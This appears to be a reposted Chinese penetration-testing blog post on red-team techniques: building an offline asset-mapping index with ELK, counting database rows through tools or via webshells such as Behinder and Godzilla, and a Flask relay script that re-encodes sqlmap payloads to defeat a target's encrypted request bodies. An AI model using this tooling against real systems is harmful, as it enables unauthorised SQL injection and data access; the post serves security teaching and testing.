弃我去者,昨日之日不可留;乱我心者,今日之日多烦忧。
免责声明:
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关。
注意:
本免责声明旨在明确指出,本文仅为技术交流、学习和研究之用,不得将文章中的技术用于任何非法目的或破坏行为。发表本文章的作者对于任何非法使用技术或对他人或系统造成的损害概不负责。
阅读和参考本文章时,您必须明确并承诺,不会利用文章中提供的技术来实施非法活动、侵犯他人的权益或对系统进行攻击。任何使用本文中的技术所导致的任何意外、损失或损害,包括但不限于数据损失、财产损失、法律责任等问题,都与发表本文章的作者无关。
本文提供的技术信息仅供学习和参考之用,不构成任何形式的担保或保证。发表本文章的作者不对技术的准确性、有效性或适用性做任何声明或保证。
ELK是三个开源软件的缩写,分别表示:Elasticsearch , Logstash, Kibana , 它们都是开源软件。
Elasticsearch是个开源分布式搜索引擎,提供搜集、分析、存储数据三大功能。它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。
Logstash主要是用来日志的搜集、分析、过滤日志的工具,支持大量的数据获取方式。一般工作方式为c/s架构,client端安装在需要收集日志的主机上,server端负责将收到的各节点日志进行过滤、修改等操作在一并发往elasticsearch上去。
Kibana也是一个开源和免费的工具,Kibana可以为Logstash和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助汇总、分析和搜索重要数据日志。
如图:
这是依赖于单一测绘厂商的结果,唯一一点比较好的是Hunter可以定位资产归属,导入ElasticSearch的数据也可以很方便的在Kibana上检索,形成属于个人的离线的空间测绘引擎资产。
例如要定位某些单位如图,该单位仅供参考:
这块主要是用各种数据库连接工具,进行统计数据量,比较推荐的是 Navicat Premium 和 DBeaver Community。
当然值得注意的是 Navicat 会默认读取表中的1000条数据
![聊聊攻防渗透中的一些技巧和打法(三) 聊聊攻防渗透中的一些技巧和打法(三)]()
在某些网络恶劣的情况会很卡,而且我们一般截图仅供证明内容敏感度,也不会去dump敏感数据。
每页数据改为10-50条都可以,区别不大:
![聊聊攻防渗透中的一些技巧和打法(三) 聊聊攻防渗透中的一些技巧和打法(三)]()
另一个场景是建立代理比较难,而且是单一主机也不必要的时候,直接从webshell连接数据库查询和计算数据量即可。
例如冰蝎、哥斯拉工具连接本地数据库,以oracle数据库查询数据量的例子:
select table_name,num_rows from user_tables
![聊聊攻防渗透中的一些技巧和打法(三) 聊聊攻防渗透中的一些技巧和打法(三)]()
其他数据库自行研究学习。
select table_name,num_rows from user_tables
其他数据库自行研究学习。
中转注入其实是一个比较老的话题了,只不过最近笔者又遇到了,于是拿出来说一下。
某些单位可能安全性比较高,WEB应用系统数据流量都是做了加密和编码处理,极大的提高了攻击成本。
要想拿下目标必须先进行流量的解密,这就是现状。
存在注入的包体大致如下:
注入点呢,在lsdata中的json结构体中,大体如下,具体编码不方便透露,就简单的Base64举例说明:
这种情况下我们想用sqlmap进行自动化跑注入,但是tamper不适用,因为sqlmap只能传入注入的payload进行处理(数据包中的单个字段),没法整体处理post包体。
解决思路呢,自然也是有的。
思路很简单,就是写一个 Flask 服务,接收SQLmap传入的sql注入字段,然后重新组装数据包,编码(编码A -> 编码B -> url编码)后发送给网站服务端, 同时接收从服务端返回的结果传递给sqlmap即可。
脱敏 Flask 脚本如下:
from flask import Flask, request, Response
import requests
import urllib.parse
import 编码A,编码B
app = Flask(__name__)
@app.route('/proxy', methods=['POST'])
def proxy():
if 'FieldAAA' not in request.form:
return Response("Missing 'FieldAAA' parameter", status=400)
# 获取SQLMap发送的数据
FieldAAA = request.form['FieldAAA']
# 构造需要注入的lsdata字段内容
lsdata = """{
"AAAA": "AAAA",
"bbb": false,
"CCC": true,
"FieldAAA": "%s",
"PageSize": "100",
"PageIndex": 0,
"CustomOrder": true,
"Conditions": [
{"asaa": "a"},
],
"Isqqqqqqq": true,
}""" % FieldAAA
lsdata = 编码A(lsdata.encode())
lsdata = 编码B(lsdata)
lsdata = urllib.parse.quote(lsdata)
# 重新构建HTTP请求包
url = 'http://XXX.XXX.COM' # 修改为目标服务端的URL
headers = {key: value for key, value in request.headers.items() if key != 'Host'}
headers['Content-Length'] = str(len(lsdata))
headers['X-Requested-With'] = 'XMLHttpRequest'
headers['Authorization'] = 'Bearer AAAA'
headers['Cookie'] = 'SessionId=qqqqqqqqq;'
body = 'lsdata=' + lsdata + '&requestaaaaa=12222'
# 设置代理
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
# 发送重组后的数据包给目标服务端
response = requests.post(url, headers=headers, data=body, proxies=proxies)
# 将response.headers转换为字典
headers_dict = dict(response.headers)
# 返回服务端的响应给SQLMap
return Response(response.content, status=response.status_code, headers=headers_dict)
if __name__ == '__main__':
app.run(debug=True)
接下来启动Flask服务:
使用 sqlmap 开始梭哈:
至此,完成我们的自动化中转注入的利用。
后话
原文始发于微信公众号(JC的安全之路):聊聊攻防渗透中的一些技巧和打法(三)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论